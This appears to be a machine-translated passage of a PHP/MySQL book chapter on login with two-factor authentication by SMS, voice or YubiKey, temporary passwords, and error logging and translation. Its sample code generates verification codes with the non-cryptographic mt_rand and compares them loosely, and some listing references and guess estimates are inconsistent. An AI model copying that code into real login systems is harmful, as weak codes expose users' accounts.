实例化的,如果你回头看看清单 5-23 ,这意味着不启动任何会话——任何人都被允许访问登录页面,除非这个人至少输入了有效的用户 id 和密码,否则启动会话是没有意义的。因为没有会话,所以表单也没有 csrftoken,这意味着表单可以伪造(从这个应用生成的页面之外的地方提交)。没关系,因为只是登录页面,用户还没有登录。
接下来的几行处理了这样一种情况,即用户已经登录,但不知何故又访问了登录页面。应用中没有任何按钮可以做到这一点(页面底部的按钮用于注销和),但是用户当然可以直接在浏览器的 URL 字段中输入“login.php”。这可能是攻击者正在做的事情,因此,作为预防措施,用户被注销。测试
isset($_COOKIE['EPMADD'])
是判断会话是否处于活动状态的一种方式,而无需实际启动会话。因此,逻辑是:如果一个会话是活动的,并且用户通过某种方式到达这个页面,而不是通过一个动作pre_action_logout
(正常的注销方式),那么它是假的,并且用户被注销。未经测试
!isset($_POST['pre_action_logout'])
代码将处于无限循环中。
不管怎样,抛开这些不谈,正常的事情是只调用Page::go
来开始处理,如清单 5-24 中的所示。请记住,在这种正常情况下,没有会话。
假设用户输入用户 ID 和密码,然后单击登录按钮。这就转到了MyPage::pre_action_login
,如清单 6-27 中的所示,它使用安全类来完成真正的工作。
清单 6-27 。MyPage::pre_action_login 方法
protected function pre_action_login() {
$userid = $_POST['userid'];
$security = new Security();
if ($security->check_password($userid, $_POST['pw'],
$expired)) {
$this->login_phase1($userid);
if ($expired) {
$_SESSION['expired'] = true;
$security->store_verification($userid, 0);
}
$this->transfer('loginverify.php',
array('action_start' => '1'));
}
else {
Sleep(2);
$this->transfer('login.php',
array('msg' => 'User ID and/or password are invalid'));
}
}
这里的逻辑非常简单:如果密码正确,方法Page::login_phase1
完成 2FA 阶段 1。如果密码过期(但不是延长的时间,因为Security::check_password
返回了true
,验证令牌被终止。由于正常密码十年不会过期,所以这很可能是临时密码,应该需要完整的 2FA 期。
如果用户 ID 或密码不正确,应用会休眠两秒钟,然后再给用户一次机会,以减缓猜测者的速度。即使有了快速连接和服务器,总等待时间也可能只有三秒钟左右,这意味着一分钟只能猜测 20 次,不足以让猜测一个不太好的密码变得可行。(每个请求大约三秒钟;攻击者仍然可以并行发出请求。我把处理这种可能性留给你们做练习。)
清单 6-28 中的Page::login_phase1,
,启动了一个会话,如第五章的“PHP 会话”一节中所述,与这里的Page::login method
非常接近,但是在这里,由于这只是第一阶段,用户并没有完全登录。没有设置$_SESSION['userid']
,这将使用户完全登录,而只设置了$_SESSION['userid_pending']
,这意味着登录不完全。为了安全起见,$_SESSION['verification_code']
,它将在某个时候保存作为文本消息或语音呼叫发送给用户的代码,而$_SESSION['userid']
未设置。
清单 6-28 。Page::
login_phase1 方法
protected function login_phase1($login) {
$this->start_session();
unset($_SESSION['verification_code']);
unset($_SESSION['userid']);
$_SESSION['userid_pending'] = $login;
return true;
}
阶段 1 完成后,控制转到loginverify.php
,进入阶段 2。如果用户 ID 或密码不正确,控制返回到该页面,并显示一条消息,由MyPage::request
末尾的代码显示。
我将回到login.php
来回顾一下“忘记”按钮的作用;首先,我将坚持登录过程,直到它完成。
HTTP 认证
暂时休息一下:PHP 登录表单并不是处理登录的唯一方式。毫无疑问,你已经注意到一些网站会在浏览器中弹出一个表格,类似于图 6-16 中的内容;这叫做 HTTP 认证。
图 6-16 。浏览器显示的 HTTP 身份验证表单
您可以安排在您的 PHP 应用中使用 HTTP 身份验证,但是与您直接输出的 HTML 表单相比,它有一些缺点。
- 您不能控制表单的布局,例如,添加一个“忘记”按钮。
- 这个表单看起来不同于其他应用页面,它是通用的,没有用你的徽标、菜单栏等来装饰。由于您还没有进入应用,浏览器仍然显示您要离开的页面,这非常令人困惑,尤其是在所示的情况下。
- 输出和处理来自 HTTP 身份验证表单的响应的 PHP 代码很复杂,有些浏览器有一些奇怪的地方,您必须编写代码来解决。
所以,我的建议是做几乎所有网站都做的事情:使用普通的 HTML 表单登录。
验证登录(阶段 2)
文件loginverify.php
没有请求方法,因为它只能从login.php
调用。处理从MyPage::action_start
方法开始,它在清单 6-29 中,以及MyPage
类的实例化。(我前面已经说明了MyPage::action_start2
的方法和部分;让我们来到这里的Page::transfer
调用在清单 6-26 中。)
清单 6-29 。loginverify.php
中MyPage
类的开始
class MyPage extends Page {
protected function action_start() {
echo <<<EOT
<script>
browser_signature('loginverify.php',
{'action_start2': '1'});
</script>
EOT;
}
protected function action_start2() {
$_SESSION['browser'] = $_POST['browser'];
log($_SESSION['browser']);
$security = new Security();
if ($security->
check_verification($_SESSION['userid_pending']))
$this->is_verified();
else
$this->show_form_sendcode();
}
...
}
$page = new MyPage('Login');
$page->go(true);
如果处理进行到这一步,那么用户 ID 和密码是正确的,所以login.php
已经开始了一个会话,这就是为什么MyPage
的实例化省略了第二个参数。然而,那个会话还没有(或者可能永远不会)代表一个登录的用户,所以Page::go
的参数告诉它检查$_SESSION['userid_pending']
,不要仅仅因为$_SESSION['userid']
没有被设置就产生“没有登录”的错误。换句话说,如果用户仅完成了 2FA 阶段 1,他或她就可以继续。
现在,看MyPage::action_start2
。我之前展示了第一行;它将浏览器签名放在$_SESSION
数组中,这样Security
类就可以访问它。然后它调用Security::check_verification
从 cookie 中检查验证令牌;好的话 2FA 期可以跳过。(回想一下,cookie 将在 30 天后过期。)在这种情况下,处理继续进行MyPage::is_verified
。
protected function is_verified() {
if (isset($_SESSION['expired']))
$this->transfer('chgpassword.php');
else {
$this->login_phase2();
$this->transfer('member.php');
}
}
如果密码已过期,用户前往chgpassword.php
更改密码。否则,2FA 阶段 2 完成,用户转到第一个应用页面member.php
。
没有多少关系。
protected function login_phase2() {
$_SESSION['userid'] = $_SESSION['userid_pending'];
unset($_SESSION['userid_pending']);
}
如果验证令牌检查失败,MyPage::show_form_sendcode
将执行完整的 2FA 阶段 2 的剩余部分,如下一节所示。
发送认证码
我的 2FA 阶段 2 的实现通过 SMS(文本消息)或语音向用户的手机发送随机生成的六位数代码。有一堆 web 服务可以处理这其中的通信部分;如前所述,我选择 Twilio ( twilio.com
)是因为它们易于使用,并且提供了大量的示例,包括我所需要的函数。
我在这里根本不打算讨论 Twilio API。我要说的是,我把我需要的东西封装到了一个函数中。
SendCode($to_number, $code, $want_sms, &$error)
$to_number
是要呼叫的号码,$code
是六位数代码(该函数将其嵌入到适当的口头消息中),$want_sms
是短信的true
和语音的false
,$error
是返回错误,在这种情况下该函数返回false
。如果成功,它返回true
。
有了SendCode
做这项艰苦的工作,给用户一个按钮点击发送代码(MyPage::show_form_sendcode
)然后发送代码(MyPage::action_sendcode
)的工作就很简单了,如清单 6-30 所示。它甚至不是一个表单——只是一些说明和一个按钮,如图图 6-17 所示。
清单 6-30 。MyPage::show_form_sendcode
和MyPage::action_sendcode
方法和
protected function show_form_sendcode() {
echo <<<EOT
<p>Click the button to receive your verification code
<br>by phone so your login can be completed.
<p>
EOT;
$this->button('Send Code', array('action_sendcode' => '1'),
'loginverify.php');
echo '<p>';
}
protected function action_sendcode() {
$stmt = $this->db->query('select phone, phone_method from
user where userid = :userid',
array('userid' => $_SESSION['userid_pending']));
if ($row = $stmt->fetch()) {
$_SESSION['verification_code'] = mt_rand(100000, 999999);
$error = null;
if (SendCode($row['phone'],
$_SESSION['verification_code'],
$row['phone_method'] == 'sms', $error))
$this->show_form_checkcode();
else
$this->message($error);
}
else
$this->message('Failed to retrieve user data');
}
图 6-17 。发送代码的表单
检查验证码并完成 2FA 阶段 2
发送代码后,调用MyPage::show_form_checkcode
显示一个表单,用户可以在其中输入他或她收到的代码。代码在清单 6-31 中,表单本身出现在图 6-18 中。
清单 6-31 。MyPage::show_form_checkcode
方法
protected function show_form_checkcode() {
echo <<<EOT
<p>
The phone you specified for verification has been called.
<br>
Please enter the 6-digit code you receive below.
<p>
EOT;
$f = new Form();
$f->start();
$f->text('code', 'Verification Code:', 20, '6-digit code');
$f->button('action_checkcode', 'Verify', false);
$f->end();
}
图 6-18 。表单输入代码
点击验证按钮进入MyPage::action_checkcode
,如清单 6-32 中的所示。如果提交的代码与发送的代码相同,并且密码没有过期,则调用Security::store_verification
来设置验证令牌 cookie,因此在 30 天内不需要完整的 2FA 阶段 2。如果密码过期(但不是额外的时间),2FA 阶段 2 仍然是完整的,所以我已经展示的MyPage::is_verified
被调用。如果代码错误,表单会再次显示,同时会显示一条消息。没有代码,用户无法登录;没有旁路。(谷歌和其他网站有一个紧急代码列表,如果一个人的手机丢失或被盗,可以使用这些代码,但我还没有实现这个功能。)
清单 6-32 。MyPage::action_checkcode 方法
protected function action_checkcode() {
if (isset($_SESSION['verification_code']) &&
($_POST['code'] == $_SESSION['verification_code'])) {
unset($_SESSION['verification_code']);
if (!isset($_SESSION['expired'])) {
$security = new Security();
$security->store_verification(
$_SESSION['userid_pending'], true);
}
$this->is_verified();
}
else {
$this->show_form_checkcode();
$this->message('Invalid code');
}
}
临时密码
当用户点击登录表单上的【忘记】按钮时(图 6-15 ),调用login.php
中的MyPage::action_forgot
。由于只存储加盐哈希,密码无法恢复;任何可以做到这一点的系统都是可疑的,因为它必须存储实际的密码。取而代之的是,一个临时密码被发送到用户注册的电子邮件地址(只有一个),有效期只有 30 分钟,正如我在清单 6-18 中的方法中展示的那样。由于密码已过期(30 分钟是额外时间),当您输入临时密码时,将发生完整的 2FA 第 2 阶段。电子邮件不太安全,往往会在各种设备上被多次检索,并且通常会在电子邮件客户端保存几天甚至更长时间,因此 2FA 非常重要。很难想出任何安全的方法来提供只有 1FA 的临时密码。
临时密码机制是这样工作的:首先,提示用户输入他或她注册的电子邮件地址,如图图 6-19 所示;写那个表格的代码在清单 6-33 中。
图 6-19 。发送临时密码给的表格
清单 6-33 。MyPage::action_forgot
方法
protected function action_forgot() {
$this->hide_request();
echo <<<EOT
<p>
Your user ID and a temporary password will be sent
<br>
to the email you provided when you registered.
EOT;
$f = new Form();
$f->start();
$f->text('email', 'Email:', 100, ' user@domain.com ');
$f->button('action_send', 'Send Email');
$f->end();
}
接下来,清单 6-34 中的MyPage::action_send
,通过检查电子邮件地址的格式是否正确(filter_var
是一个 PHP 函数)以及它是否与数据库中的用户电子邮件相匹配来验证电子邮件地址。不能确定匹配的用户是否是正确的用户,因此电子邮件可能会发送给错误的用户。正如我将要展示的,电子邮件消息应该告诉接收者,如果他或她没有请求更改,他或她应该联系系统管理员。方法MyPage::set_temp_password
创建并设置临时密码。它是 6 个字节,由 12 个字符表示。
清单 6-34 。MyPage::action_send
和MyPage::set_temp_password
方法
protected function action_send() {
$this->hide_request();
if (!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL))
$this->message('Invalid or missing email');
else {
$stmt = $this->db->query('select userid from user
where email = :email',
array('email' => $_POST['email']));
if ($row = $stmt->fetch()) {
$tmp = $this->set_temp_password($row['userid']);
if (is_null($tmp))
$this->message('Unable to generate password');
else if ($this->send_email($row['userid'], $tmp))
return;
else
$this->message('Unable to send mail');
}
else
$this->message('Email address not found');
}
$this->action_forgot();
}
private function set_temp_password($userid) {
$tmp = bin2hex(openssl_random_pseudo_bytes(6));
$security = new Security();
if ($security->set_password($userid, $tmp, true))
return $tmp;
return null;
}
(对MyPage::action_send
顶部的Page::hide_request
的调用隐藏了请求div
,因为它没有被使用。)
如果攻击者窃取了用户的手机(将在 2FA 阶段 2 中使用),他或她可能会单击忘记按钮,然后尝试猜测临时密码。12 个字符的密码平均需要 500 万亿次猜测。因为在MyPage::pre_action_login
( 清单 6-26 )中有两秒钟的延迟,当临时密码超时时,这将需要大约 5000 万年,比 30 分钟稍长。对我来说足够安全了。
MyPage::action_send
调用清单 6-35 中的中的MyPage::send_email
,用临时密码发送实际的电子邮件。在开发系统上使用电子邮件通常很麻烦,在调试过程中使用实际的电子邮件也很麻烦,所以如果主机是localhost
,电子邮件就显示在屏幕上。显然,一个真正的系统不应该这样做,因为关键是密码只进入用户的真实电子邮件地址。但是对于测试来说,它非常方便。如果你好奇的话,图 6-20 和 6-21 显示了伪造和真实的电子邮件。
清单 6-35 。MyPage::send_email
方法
protected function send_email($userid, $tmp) {
$subject = 'Your temporary password';
$msg = "Your User ID is $userid " .
"and your temporary password is '$tmp'. " .
"(If you did not request this, please contact the " .
"system administrator.)";
if ($_SERVER['HTTP_HOST'] == 'localhost')
echo <<<EOT
<p>
<div style='border:2px solid;padding:10px;width:500px'>
<p>(localhost -- not sent)
<p>Subject: $subject
<p>Msg: $msg
</div>
EOT;
else if (!mail($_POST['email'], $subject, $msg))
return;
echo <<<EOT
<p>
Your temporary email has been sent. When you receive it,
<br>
use it to login. You'll then be prompted to choose a new password.
<p>
EOT;
$this->button('Login', null, 'login.php');
return true;
}
图 6-20 。仅在本地主机页面上显示的电子邮件
图 6-21 。发送给真实用户的真实电子邮件
通过电子邮件发送临时密码的一个潜在问题是,如果手机被盗,攻击者可以进入电子邮件应用,也许因为手机的所有者已经输入了锁屏代码,他或她可以获得临时密码并通过 2FA 第二阶段。有两种解决方案。
- 使用无法从手机中检索到的电子邮件地址注册。
- 请使用 YubiKey 或类似设备。他们不够聪明,无法接收电子邮件。
更改密码
如前所述,如果密码过期,被调用来完成 2FA 阶段 2 的MyPage::is_verified,
会转移到chgpassword.php
,迫使用户更改密码。或者,用户可以随时从出现在每个页面的菜单栏上的帐户菜单中更改他或她的密码。唯一的区别是,在前一种情况下,有一个给用户的说明,解释他或她为什么被带到更改密码屏幕(图 6-22 )。除了这个小细节,清单 6-36 中显示的chgpassword.php
与您之前看到的是一样的:MyPage::request
输出如图图 6-22 所示的表单,MyPage::action_set
对其进行处理。回想一下Security::set_password
会终止验证令牌,因此第一次使用新密码时,需要完整的 2FA。(我在前面的清单 6-16 中展示了表单代码,当时我在“密码强度反馈”一节中解释了Form::password_strength
是如何工作的)
图 6-22 。更改密码表单
清单 6-36 。chgpassword.php
文件
class MyPage extends Page {
protected function request() {
$userid = $this->userid(true);
if (isset($_SESSION['expired']))
echo '<p>Your password has expired.';
$f = new Form();
$f->start();
$f->text('pw-old', 'Existing Password:',
50, 'Existing Password', true, true);
$f->text('pw-new1', 'New Password:',
50, 'New Password', true, true);
$f->password_strength('pw-new1', $userid);
$f->text('pw-new2', 'Repeat:',
50, 'New Password', true, true);
$f->button('action_set', 'Set');
$f->end();
}
protected function action_set() {
$userid = $this->userid(true);
$security = new Security();
if ($security->check_password($userid, $_POST['pw-old'],
$expired)) {
if ($_POST['pw-new1'] == $_POST['pw-new2']) {
if ($_POST['pw-new1'] == $_POST['pw-old'])
$this->message('New password must be different');
else {
$this->hide_request();
$security->set_password($userid,
$_POST['pw-new1']);
unset($_SESSION['expired']);
$this->message('Password was changed', true);
$this->button('Login', null, 'login.php');
}
}
else
$this->message('New and repeated passwords do
not match');
}
else
$this->message('Invalid existing password');
}
}
$page = new MyPage('Change Password');
$page->go(true);
在MyPage::request
方法开始时对 Page::userid
的调用检索在$_SESSION
数组中设置的用户 ID。true
的自变量意味着要么需要完全登录的用户 ID,要么需要待定的用户 ID (2FA 仍在进行中);参数false
只检索完全登录的用户 ID。没什么大不了的。
protected function userid($pendingOK = false) {
$userid = empty($_SESSION['userid']) ? null :
$_SESSION['userid'];
if (is_null($userid) && $pendingOK)
$userid = empty($_SESSION['userid_pending']) ? null :
$_SESSION['userid_pending'];
return $userid;
}
使用 YubiKey 进行 2FA 第 2 阶段
我不会再通过loginverify.php
来展示如何修改它来支持 YubiKey。我将在这里展示代码更改,然后您可以很容易地将它们应用到您自己的代码中。(它们包含在本书的源代码/下载区www.apress.com
。)
一个 YubiKey 看起来有点像 u 盘,但是它上面有一个按钮,正如你在图 6-23 中看到的。
图 6-23 。YubiKey
YubiKeys 的价格约为 25 美元,大量购买有折扣。每个 YubiKey 都有一个独特的嵌入式公共标识符,每次您按住按钮时,它都会生成一个独特的 32 个字符的一次性密码(OTP ),并与标识符一起发送。您将标识符存储在user
表中,例如,在一个identifier
字段中。然后,当您希望用户提供一个 OTP 时,您提供一个带有字段的表单,用户单击该字段使其获得焦点,然后按住按钮。聪明的是,YubiKey 的行为就像一个 USB 键盘,所以标识符/OTP 进入了这个领域。您将标识符/OTP 发送给 YubiKey 的验证服务,如果他们检查通过,则 OTP 是好的。由于 YubiKey 的物理构造方式以及密码是用与标识符关联的 128 位 AES 密钥加密的,黑客无法对 YubiKey 进行反向工程或伪造 OTP。
还有其他硬件设备产生的代码必须输入。手头有了我的 YubiKey 示例代码,您应该能够很容易地弄清楚如何将其中一个集成到您的应用中。
设置 YubiKey 标识符
在您的 PHP 代码中,您必须在用户注册时获取标识符,正如您必须获取电话号码一样,如果您打算使用语音/SMS 方法发送代码,正如我在前两节中所展示的那样。很简单:只需将该字段添加到注册或更改密码表单中。您告诉用户将输入光标放在那里并按住按钮,然后捕获标识符。此时,您并不关心 OTP 本身。
例如,回头看看清单 6-34 中的修改密码表单,你可以为 YubiKey 输入添加一个字段:
$f->text('yubikey', 'YubiKey:', 50, '', true, true);
那么可以将MyPage::action_set method
改为调用MyPage::set_yubikey
来记录用户的标识:
...
else {
if (!$this->set_yubikey())
return;
$this->hide_request();
$security->set_password($userid,
$_POST['pw-new1']);
...
MyPage::set_yubikey
见清单 6-37 。
清单 6-37 。MyPage::set_yubikey
protected function set_yubikey() {
if (empty($_SESSION['userid'])) {
$this->message('No User ID');
return false;
}
$y = $_POST['yubikey'];
if (strlen($y) < 34) {
$this->message('Invalid YubiKey OTP');
return false;
}
$identity = substr($y, 0, strlen($y) - 32);
$this->db->update('user', 'userid',
array('identity'), array('userid' => $_SESSION['userid'],
'identity' => $identity));
return true;
}
注意,这段代码没有使用 YubiKey 库的任何部分,也没有对加密的 OTP 做任何事情。它想要的只是标识符。
验证 YubiKey OTP
下面是如何修改loginverify.php
( 清单 6-27 到 6-30 )来使用 YubiKey,而不是向用户的手机发送代码。您不需要两个表单,一个用于触发代码的发送,一个用于用户输入代码,而只需要一个表单来接收 YubiKey 标识符/OTP。本质上,你用MyPage::show_form_yubikey
替换了方法MyPage::show_form_sendcode
( 清单 6-28 )。清单 6-38 显示了该方法及其动作MyPage::action_yubikey
。
清单 6-38 。MyPage:: show_form_yubikey
和MyPage::action_yubikey
方法
protected function show_form_yubikey() {
echo <<<EOT
<p>
Position the input cursor in the field and
touch the Yubikey button for one second.
<br>
Then click the Verify button.
<p>
EOT;
$f = new Form();
$f->start();
$f->text('yubikey', 'YubiKey:', 50, '', true, true);
$f->button('action_yubikey', 'Verify', false);
$f->end();
}
protected function action_yubikey() {
$y = $_POST['yubikey'];
if (strlen($y) > 34) {
$identity = substr($y, 0, strlen($y) - 32);
$stmt = $this->db->query('select identity from
user where userid = :userid',
array('userid' => $_SESSION['userid_pending']));
if (($row = $stmt->fetch()) &&
$row['identity'] == $identity) {
$yubi = new \Auth_Yubico(CLIENT_ID, CLIENT_KEY);
if ( $yubi->verify($y) === true) {
if (!isset($_SESSION['expired'])) {
$security = new Security();
$security->store_verification(
$_SESSION['userid_pending'], true);
}
$this->is_verified();
return;
}
}
}
$this->show_form_yubikey();
$this->message('Invalid YubiKey OTP');
}
仅有的两行使用 YubiKey API 的代码以粗体显示。您需要一个客户端 ID 和密钥来使用 API,您可以从 YubiKey 网站获得。那么验证一个 YubiKey OTP 就很简单了。如果检查通过,剩下的代码与 SMS/voice 的情况相同:设置了一个验证令牌,因此后续的 2FA 阶段 2 验证可以跳过 30 天,然后调用MyPage::is_verified
。如果 YubiKey 验证失败,表单会再次显示,用户可以继续尝试。
比较短信/语音和 YubiKey
YubiKey 验证对用户来说更容易,因为不需要输入任何东西,而且,从示例代码中可以看出,更容易实现。它可能更安全,因为语音和短信网络很复杂,涉及硬件、软件和人员,任何复杂的东西都容易受到攻击。YubiKey 或其他等效的硬件设备要简单得多,几乎不可能被破解。
此外,正如密斯·凡·德罗所说,“少即是多。”YubiKey 不是袖珍电脑,不能用来查看电子邮件,所以被盗的 yubi key 不会让攻击者利用临时密码机制闯入。
然而,YubiKey 或其他类似设备有两个缺点。
- 这是要花钱的(但至少可以用于几个应用)。
- 不是每台电脑都有 USB 端口。手机、平板,有时候酒店、机场的公用电脑都没有。
如果您不能决定哪种方法更好,那么您没有理由不能同时实现这两种方法,并给用户一个选择。2FA 还有其他方法,比如 Google Authenticator 应用,我让你自己去看看。
错误处理
我们几乎已经完成了安全性和密码的设置,除了新用户注册页面,我马上就要谈到这个页面了。现在是讨论错误处理的时候了。
错误信息可用性
每个计算机用户都知道,错误信息的问题在于它告诉我们什么是错的。用户想要的是被告知该做些什么。
我几乎不需要一个例子,但这里有一个:假设 Butterfly Club 的 office assistant 试图删除一个或多个成员引用的专业,当然带有外键约束。数据库将显示消息“无法删除或更新父行:外键约束失败。”当然,数据库设计师会说。但是办公室助理究竟应该如何理解这条信息呢?他或她需要的更像是“只要会员拥有,就不能删除那个专业。”或者,甚至更好的是,提供一些选项的屏幕,例如取消删除专业,将引用它的成员更改为另一个专业(或者不更改),或者删除引用成员(这可能走得太远了,除非董事会决定将燕尾爱好者踢出俱乐部)。无论如何,关键是任何针对用户的消息都需要用与用户理解的应用模型相关的术语来表达,而应用的内部几乎从来没有达到适当的水平。
因此,错误处理意味着
- 捕捉所有的错误。异常在这方面很有帮助。
- 记录错误,以便系统管理员可以查看它们。
- 为了安全起见,对用户隐藏一些错误。
- 将错误消息从实现模型转换到用户模型。
我逐一处理这四点。出于篇幅的考虑,我排除了错误处理的第五个方面,即定位错误消息。
捕捉错误
有四种错误。
- 您在代码中检测到的错误,例如在数据库中找不到的电子邮件地址。
- 数据库错误,比如我刚刚展示的那个。因为我喜欢使用存储过程来验证更新,所以许多数据错误也像数据库错误一样。
- PHP 错误。
- 第三方库返回的未知来源的错误,例如 Twilio API 返回的错误。(我说“来源不明”是因为这些可能是前一种类型的病例。)
显然,您在代码中检测到的错误会被捕获;毕竟,你发现了他们。正如我在第五章的中指出的,如果你使用带有PDO::ERRMODE_EXCEPTION
属性的 PDO,数据库错误都会被捕获。使用 PHP 机制捕获的 PHP 错误,我将对此进行解释。从第三方库中捕捉错误需要彻底阅读文档并非常仔细地编写代码,因为库以与库一样多的不同方式返回错误,甚至在库中不一致也是常见的。
您通常不需要做任何事情来捕捉 PHP 错误,因为您在php.ini
配置文件中设置的一个选项会导致它们被写入 PHP 错误日志。
log_errors = On
如果您不能或不想修改php.ini
,您可以在运行时用
ini_set('log_errors', 1);
找到日志最简单的方法是查看phpinfo
函数的输出(显示如何调用它的例子在清单 3-1 中),其中一部分在图 6-24 中。
图 6-24 。PHP 错误日志的位置
这个日志在文档根目录下,这意味着任何人都可以通过 URL basepath.com/log/error.log
访问它。您应该将它放在文档根目录之外,这可以通过在php.ini
中设置它的路径来实现,或者将这些行添加到 Apache 处理的.htaccess file
中。
<Files *.log>
Deny From All
</Files>
您可以编写一个 PHP 程序来显示日志,当然要适当地防止未经授权的访问,或者从终端读取日志。在开发过程中特别方便的一项技术是使用*nix tail
命令,该命令显示日志的结尾,然后继续显示新添加的内容(我输入的内容以粗体显示)。
$ tail -f /home/rochkind/public_html/log/error.log
[12-Jun-2013 11:27:27] PHP Notice: Undefined variable: warg in /home/rochkind/public_html/Photography/ph_common.php on line 393
[12-Jun-2013 13:16:50] PHP Notice: Undefined variable: xxx in /home/rochkind/public_html/phpinfo.php on line 3
[12-Jun-2013 13:16:54] PHP Notice: Undefined index: HTTP_REFERER in /home/rochkind/public_html/phpinfo.php on line 8
[12-Jun-2013 13:30:45] PHP Notice: Undefined variable: error in /home/rochkind/public_html/ClassicCameras/login.php on line 67
[12-Jun-2013 13:30:47] PHP Notice: Undefined offset: 9 in /home/rochkind/public_html/prcspymnt/regcode.php on line 15
[12-Jun-2013 13:30:47] PHP Notice: Undefined offset: 11 in /home/rochkind/public_html/prcspymnt/regcode.php on line 15
[12-Jun-2013 13:33:09] PHP Notice: Undefined variable: _SESSION in /home/rochkind/public_html/et.php on line 2
[12-Jun-2013 13:33:09] PHP Warning: Invalid argument supplied for foreach() in /home/rochkind/public_html/et.php on line 3
您还应该记录您在应用中发现的除 PHP 错误之外的任何错误(下一节)。然后,要么用Page::message
立即显示一条消息,要么抛出一个异常。早在清单 5-24 中,在Page::go
中,我展示了出现在每一页上的代码,它显示了消息div
中的异常。
catch (\Exception $e) {
$this->message($e->getMessage());
}
记录错误
正如我解释的那样,PHP 错误是自动记录的,但是您可能还想记录其他错误(您检测到的错误、数据库错误或第三方错误)。这是用一个简单的Error
类中的log
方法完成的,如清单 6-39 所示。(在那个类中我没有其他的东西,但是你可能想在某个时候给它添加各种错误相关的方法。)还有一个方便的函数,可以省去实例化该类的麻烦。
清单 6-39 。Error
阶级
class Error {
function log($s) {
if (is_array($s))
error_log(print_r($s, true));
else {
if (is_a($s, 'Exception'))
$s = $s->getMessage();
error_log($s);
}
}
}
function log($s) {
static $error;
if (is_null($error))
$error = new Error();
$error->log($s);
}
这些函数接受一个字符串、一个异常或一个数组(便于调试)。
您不局限于只记录错误。您还可以记录不成功的登录尝试、运行报告的请求或您想要跟踪的任何其他内容。
您可能希望将日志保存在数据库中,但是如果错误与数据库相关,您可能无法访问数据库,所以这不是一个好主意。(这让我想起了大约 40 年前在贝尔实验室的一次会议,当时 UNIX 的共同创始人肯·汤普森(Ken Thompson)被问及为什么不在磁盘上记录错误。一贯亲切而简洁的 Thompson 回答道,“你的意思是在磁盘上记录磁盘错误?”)
隐藏错误
试图闯入您的应用的攻击者可能会从查看 PHP 错误中获得一些好处,因此在您的生产服务器上,您应该在php.ini
中禁止在 web 页面上显示错误。
display_errors = Off
display_startup_errors = Off
在您的开发服务器上,您希望两者都设置为On
,这样当您以每小时几十个的速度生成错误时,您就不必参考日志。他们会去屏幕那里。
翻译错误
将您知道的错误翻译成用户能够理解的术语已经够难的了,但是您还必须翻译以前从未见过的数据库错误和没有记录的第三方库错误。你最多能做的就是
- 处理所有已知的数据库约束错误。
- 记录这个低级错误,这样当用户联系您寻求技术支持时,您就有了它。
- 为其他所有事情发布通用消息,比如“错误呼叫电话号码”。请再试一次。”再试一次是痴心妄想,但谁知道呢?
数据库约束错误分为三类:违反唯一约束的错误,违反参照完整性(外键)的错误,以及由存储过程中的signal
语句显式生成的错误。对于后者,你可能想回顾一下第四章中的“MySQL 触发器的约束”一节。
要想知道你面对的是什么,请查看图 6-25 ,在这里我试图删除一个成员提到的的蝴蝶专业。可怜的用户应该得到更好的东西。
图 6-25 。违反参照完整性
为了提供一个集中的地方来翻译错误,我已经修改了显示异常的Page::go
中的代码,将异常传递给Page::translate_error
,默认情况下它只返回消息。
...
catch (\Exception $e) {
$this->message($this->translate_error($e));
}
...
protected function translate_error($e) {
return $e->getMessage();
}
然后应用可以覆盖Page::translate_error
来尝试改进消息。
查看图 6-25 中的消息,可以挑出 SQLSTATE 号(23000)、MySQL 错误代码(1452),以及消息文本中违反的约束(specialty_id
)的名称。这不是我明确指定的名称,因为外键约束是由 MySQL Workbench 自动处理的。然而,如果你用那个工具检查约束,你可以看到它,如图图 6-26 所示。
图 6-26 。成员表的结构,显示 specialty_id 约束
这建议了一种处理数据库错误的方法:打开 SQLSTATE,然后使用一个正则表达式来匹配“外键约束”(还有其他种类的约束)并提取约束名,如清单 6-40 所示。如果不匹配,则返回原始消息。我使用了switch
语句,以防有更多的 SQLSTATEs 需要处理(很快就会有)或者更多的约束名。
清单 6-40 。MyPage::translate_error 方法
protected function translate_error($e) {
if (is_a($e, 'PDOException')) {
switch ($e->getCode()) {
case '23000':
if (preg_match(
"/foreign key constraint.*CONSTRAINT `([^`]*)`/",
$e->getMessage(), $m)) {
switch ($m[1]) {
case 'specialty_id':
return "Can't delete specialty because ".
"a member is still referencing it.";
}
}
}
}
return $e->getMessage();
}
现在消息好多了,如图图 6-27 所示。
图 6-27 。改进的参照完整性消息
用于注册新用户的account.php
文件会产生更多的约束错误。回头看看清单 6-17 ,您可以看到插入和更新触发器使用的存储过程会从signal
语句中产生五种不同的错误。此外,在三列上还有唯一的约束,一如既往,加上主键,如图图 6-28 所示。
图 6-28 。用户表的结构,显示唯一的约束
清单 6-41 显示了account.php
文件的MyPage::translate_error
方法。(整个文件在www.apress.com
本书的源代码/下载区。)为了帮助您理解正则表达式,CK001 错误(来自触发器过程中的signal
语句)如下所示(添加了换行符):
SQLSTATE[CK001]: <<Unknown error>>: 1644
Email is missing or invalid.@email
而唯一约束错误 s 看起来像:
SQLSTATE[23000]: Integrity constraint violation: 1062
Duplicate entry ' smith@noplace.com ' for key 'email_UNIQUE'
清单 6-41 。MyPage::translate_error
方法
protected function translate_error($e) {
if (is_a($e, 'PDOException')) {
switch ($e->getCode()) {
case '23000':
if (preg_match("/for key '(.*)'/",
$e->getMessage(), $m)) {
$indexes = array(
'PRIMARY' =>
array ('User ID is already taken', 'userid'),
'userid_UNIQUE' =>
array ('User ID is already taken', 'userid'),
'email_UNIQUE' =>
array ('Email is already taken', 'email'),
'phone_UNIQUE' =>
array ('Phone is already taken', 'phone'));
if (isset($indexes[$m[1]])) {
$this->err_flds =
array($indexes[$m[1]][1] => 1);
return $indexes[$m[1]][0];
}
}
break;
case 'CK001':
if (preg_match('/: 1644 (.*)@(.*)$/',
$e->getMessage(), $m)) {
$this->err_flds = array($m[2] => 1);
return $m[1];
}
}
}
return $e->getMessage();
}
回想一下清单 6-17 中的,由signal
语句发送的消息在一个@
分隔符后包含了字段名。这里,正则表达式提取字段名并在err_flds
表中设置一个条目,这样表单就可以突出显示该字段。该字段也是为唯一约束消息设置的,其中一个消息可以在图 6-29 中看到。
图 6-29 。突出显示字段的唯一约束错误
鉴于关系数据库是所有计算机系统中最结构化的,包括模式、表、列、行、索引和类型,具有讽刺意味的是,人们必须针对文本错误消息进行模式匹配,以提取违反约束的细节。我的一年级老师会称之为“需要改进的地方”。
章节总结
- 如果服务器和用户的电脑都不安全,那么其他任何东西都不安全。
